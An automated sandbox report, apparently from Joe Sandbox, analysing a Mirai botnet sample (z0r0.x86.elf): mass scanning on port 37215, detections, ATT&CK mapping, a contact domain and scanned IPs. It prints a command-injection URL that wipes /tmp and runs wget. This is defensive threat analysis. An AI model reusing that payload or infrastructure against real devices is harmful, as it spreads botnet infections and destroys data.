Source: unknown	Network traffic detected: HTTP traffic on port 33996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55792 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56582 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56648 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36988 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36496 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46336 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41898 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50648 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59930 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47998 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41626 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52864 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40766 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43360 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38178 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46496 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47590 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54542 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55248 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34568 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40070 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54378 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52978 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52178 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60514 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37378 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36136 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37770 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52446 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58496 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38126 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53138 -> 37215

Source: z0r0.x86.elf

Submission file: segment LOAD with 7.881 entropy (max. 8.0)

Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6246)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 6272)	Queries kernel information via 'uname':	Jump to behavior

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: 6234.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6236.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: z0r0.x86.elf PID: 6234, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: z0r0.x86.elf PID: 6236, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: 6234.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6236.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: z0r0.x86.elf PID: 6234, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: z0r0.x86.elf PID: 6236, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 Hidden Files and Directories	1 OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	1 Service Stop
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	11 Obfuscated Files or Information	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	1 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
z0r0.x86.elf	47%	Virustotal		Browse
z0r0.x86.elf	61%	ReversingLabs	Linux.Trojan.Mirai
z0r0.x86.elf	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Antivirus Detection	Reputation
raw.igxhost.ru	212.64.199.23	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://upx.sf.net	z0r0.x86.elf	false	high
http://schemas.xmlsoap.org/soap/encoding/	z0r0.x86.elf, 6234.1.0000000008048000.0000000008058000.r-x.sdmp, z0r0.x86.elf, 6236.1.0000000008048000.0000000008058000.r-x.sdmp	false	high
http://schemas.xmlsoap.org/soap/envelope/	z0r0.x86.elf, 6234.1.0000000008048000.0000000008058000.r-x.sdmp, z0r0.x86.elf, 6236.1.0000000008048000.0000000008058000.r-x.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
176.73.164.83	unknown	Georgia	20771	CAUCASUS-CABLE-SYSTEMCCSAutonomousSystemGE	false
197.234.167.182	unknown	South Africa	37315	CipherWaveZA	false
179.172.101.70	unknown	Brazil	26599	TELEFONICABRASILSABR	false
113.134.26.62	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
197.13.57.224	unknown	Tunisia	37504	MeninxTN	false
96.95.73.44	unknown	United States	7922	COMCAST-7922US	false
36.125.148.20	unknown	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	false
184.84.36.145	unknown	United States	577	BACOMCA	false
156.107.128.121	unknown	United States	8414	PlacedesNationsCH-1211Geneva20SwitzerlandGR	false
203.205.156.134	unknown	China	132203	TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN	false
156.193.176.231	unknown	Egypt	8452	TE-ASTE-ASEG	false
96.106.84.170	unknown	United States	7922	COMCAST-7922US	false
153.210.62.181	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
115.239.80.226	unknown	China	58461	CT-HANGZHOU-IDCNo288Fu-chunRoadCN	false
87.35.240.204	unknown	Ireland	1213	HEANETIE	false
41.60.37.77	unknown	Mauritius	30969	ZOL-ASGB	false
61.231.243.180	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
173.30.73.112	unknown	United States	30036	MEDIACOM-ENTERPRISE-BUSINESSUS	false
41.115.200.85	unknown	South Africa	16637	MTNNS-ASZA	false
49.156.254.163	unknown	Japan	7679	QTNETQTnetIncJP	false
41.142.174.184	unknown	Morocco	36903	MT-MPLSMA	false
98.33.187.35	unknown	United States	7922	COMCAST-7922US	false
175.98.209.16	unknown	Taiwan; Republic of China (ROC)	9924	TFN-TWTaiwanFixedNetworkTelcoandNetworkServiceProvi	false
188.152.139.105	unknown	Italy	30722	VODAFONE-IT-ASNIT	false
156.253.18.47	unknown	Seychelles	137443	ANCHGLOBAL-AS-APAnchnetAsiaLimitedHK	false
41.71.222.28	unknown	Nigeria	37053	RSAWEB-ASZA	false
41.8.13.62	unknown	South Africa	29975	VODACOM-ZA	false
41.19.112.132	unknown	South Africa	29975	VODACOM-ZA	false
63.175.249.49	unknown	United States	1239	SPRINTLINKUS	false
155.254.65.145	unknown	Canada	36493	295CA-TOR-ASNCA	false
137.104.97.224	unknown	United States	3128	BRUWS-AS3128US	false
156.177.182.63	unknown	Egypt	36992	ETISALAT-MISREG	false
197.163.185.219	unknown	Egypt	24863	LINKdotNET-ASEG	false
220.49.6.212	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
41.108.83.60	unknown	Algeria	36947	ALGTEL-ASDZ	false
139.176.199.161	unknown	China	8968	BT-ITALIAIT	false
213.0.132.97	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
197.187.5.189	unknown	Tanzania United Republic of	37133	airtel-tz-asTZ	false
32.52.164.76	unknown	United States	7018	ATT-INTERNET4US	false
76.158.53.21	unknown	United States	7922	COMCAST-7922US	false
197.240.45.198	unknown	unknown	37705	TOPNETTN	false
167.109.72.43	unknown	United States	6057	AdministracionNacionaldeTelecomunicacionesUY	false
41.35.35.158	unknown	Egypt	8452	TE-ASTE-ASEG	false
8.76.213.52	unknown	United States	3356	LEVEL3US	false
94.13.233.243	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
23.3.198.138	unknown	United States	16625	AKAMAI-ASUS	false
156.38.239.169	unknown	South Africa	37153	xneeloZA	false
198.254.178.162	unknown	Canada	22995	BARR-XPLR-ASNCA	false
58.85.218.60	unknown	Japan	9617	ZAQJupiterTelecommunicationsCoLtdJP	false
51.142.49.238	unknown	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
197.23.213.121	unknown	Tunisia	37693	TUNISIANATN	false
147.240.98.177	unknown	United States	1541	DNIC-ASBLK-01534-01546US	false
25.11.189.73	unknown	United Kingdom	7922	COMCAST-7922US	false
197.116.147.25	unknown	Algeria	36947	ALGTEL-ASDZ	false
134.151.48.191	unknown	United Kingdom	786	JANETJiscServicesLimitedGB	false
37.69.111.84	unknown	France	15557	LDCOMNETFR	false
189.132.162.186	unknown	Mexico	8151	UninetSAdeCVMX	false
62.202.185.162	unknown	Switzerland	12684	SES-LUX-ASLU	false
202.83.126.183	unknown	Bangladesh	134146	SAMONLINE-AS-APSAMONLINEBD	false
86.22.247.34	unknown	United Kingdom	5089	NTLGB	false
114.128.86.8	unknown	Thailand	56046	CMNET-JIANGSU-APChinaMobilecommunicationscorporationCN	false
212.218.134.171	unknown	Germany	8319	NETHINKS-ASNETHINKSGmbHDE	false
62.161.162.150	unknown	France	3215	FranceTelecom-OrangeFR	false
197.89.172.44	unknown	South Africa	10474	OPTINETZA	false
41.86.181.3	unknown	Tanzania United Republic of	22354	UNIV-DARTZ	false
150.64.235.35	unknown	Japan	6400	CompaniaDominicanadeTelefonosSADO	false
194.130.165.114	unknown	United Kingdom	702	UUNETUS	false
41.128.184.215	unknown	Egypt	24863	LINKdotNET-ASEG	false
42.12.217.4	unknown	Korea Republic of	4249	LILLY-ASUS	false
62.122.97.117	unknown	Russian Federation	48940	LINK-ASRU	false
25.17.46.188	unknown	United Kingdom	7922	COMCAST-7922US	false
74.102.149.235	unknown	United States	701	UUNETUS	false
104.113.147.97	unknown	United States	17072	TOTALPLAYTELECOMUNICACIONESSADECVMX	false
159.197.33.152	unknown	United Kingdom	1273	CWVodafoneGroupPLCEU	false
43.27.13.1	unknown	Japan	4249	LILLY-ASUS	false
18.154.196.174	unknown	United States	16509	AMAZON-02US	false
156.3.38.234	unknown	United States	2920	LACOEUS	false
156.118.112.87	unknown	France	59863	NORSKREGNESENTRALNO	false
160.237.70.183	unknown	Japan	59125	CYBERHOMEFAMILYNETJAPANINCORPORATEDJP	false
164.52.16.255	unknown	China	63199	CDSC-AS1US	false
140.160.226.4	unknown	United States	15199	WWUUS	false
156.182.145.41	unknown	Egypt	36992	ETISALAT-MISREG	false
2.203.197.72	unknown	Germany	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
61.255.138.230	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
175.83.75.150	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
156.246.150.199	unknown	Seychelles	328608	Africa-on-Cloud-ASZA	false
156.61.32.156	unknown	United Kingdom	39400	LBH-ASCountyCouncilGB	false
196.134.222.189	unknown	Egypt	36935	Vodafone-EG	false
156.98.56.156	unknown	United States	1998	STATE-OF-MNUS	false
117.45.202.120	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
156.215.116.43	unknown	Egypt	8452	TE-ASTE-ASEG	false
75.50.159.113	unknown	United States	7018	ATT-INTERNET4US	false
68.171.249.33	unknown	Canada	18705	RIMBLACKBERRYCA	false
192.184.107.90	unknown	United States	54804	CSMIII-BUNKIELAUS	false
196.81.104.91	unknown	Morocco	6713	IAM-ASMA	false
156.147.46.186	unknown	Korea Republic of	4668	LGNET-AS-KRLGCNSKR	false
5.88.170.145	unknown	Italy	30722	VODAFONE-IT-ASNIT	false
39.221.113.167	unknown	Indonesia	23693	TELKOMSEL-ASN-IDPTTelekomunikasiSelularID	false
41.186.122.78	unknown	Rwanda	36890	MTNRW-ASNRW	false
184.40.243.203	unknown	United States	5778	CENTURYLINK-LEGACY-EMBARQ-RCMTUS	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
176.73.164.83	nZ8KF84fBP.elf	Get hash	malicious	Mirai	Browse
176.73.164.83	mips	Get hash	malicious	Mirai	Browse
197.234.167.182	tppc.elf	Get hash	malicious	Mirai	Browse
	sYgsg1JAC0.elf	Get hash	malicious	Mirai	Browse
	08m4ZtPWPx.elf	Get hash	malicious	Mirai, Moobot	Browse
	maCx86.elf	Get hash	malicious	Mirai	Browse
	x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse
	x86-20220531-1350	Get hash	malicious	Mirai	Browse
	arm7	Get hash	malicious	Mirai	Browse
	Zeus.ppc	Get hash	malicious	Mirai	Browse
	YGZVBzsxHP	Get hash	malicious	Mirai	Browse
	8LdKQIRfZG	Get hash	malicious	Mirai	Browse
179.172.101.70	bHLdG1iUdO	Get hash	malicious	Mirai	Browse
184.84.36.145	xojY1JL5oK	Get hash	malicious	Mirai	Browse
	2RY3t541h6	Get hash	malicious	Mirai	Browse
	sbngG3QrhW	Get hash	malicious	Mirai	Browse
156.107.128.121	i586.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	nWlHvQO2p6.elf	Get hash	malicious	Mirai	Browse
	to8JPU7Qkp.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	bok.mpsl-20230311-0018.elf	Get hash	malicious	Mirai	Browse
	bk.arm7-20220929-1806.elf	Get hash	malicious	Mirai	Browse
197.13.57.224	nshppc.elf	Get hash	malicious	Mirai	Browse
	ZVQBodhgp1.elf	Get hash	malicious	Mirai, Moobot	Browse
	z0r0.i686.elf	Get hash	malicious	Mirai	Browse
	ak.arm5-20220925-2331.elf	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
raw.igxhost.ru	z0r0.sh4.elf	Get hash	malicious	Mirai	Browse	212.64.199.23
	z0r0.spc.elf	Get hash	malicious	Mirai	Browse	212.64.199.23
	main_x86.elf	Get hash	malicious	Mirai	Browse	154.213.189.14

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CAUCASUS-CABLE-SYSTEMCCSAutonomousSystemGE	arm7	Get hash	malicious	Unknown	Browse	37.233.196.167
	Fantazy.mpsl.elf	Get hash	malicious	Unknown	Browse	176.73.164.76
	2.elf	Get hash	malicious	Unknown	Browse	176.73.72.241
	la.bot.sparc.elf	Get hash	malicious	Mirai	Browse	78.139.152.143
	teste.ppc.elf	Get hash	malicious	Gafgyt, Mirai, Moobot, Okiru	Browse	176.73.164.91
	botx.m68k.elf	Get hash	malicious	Mirai	Browse	88.210.200.118
	nklarm7.elf	Get hash	malicious	Unknown	Browse	176.73.94.91
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	78.139.174.25
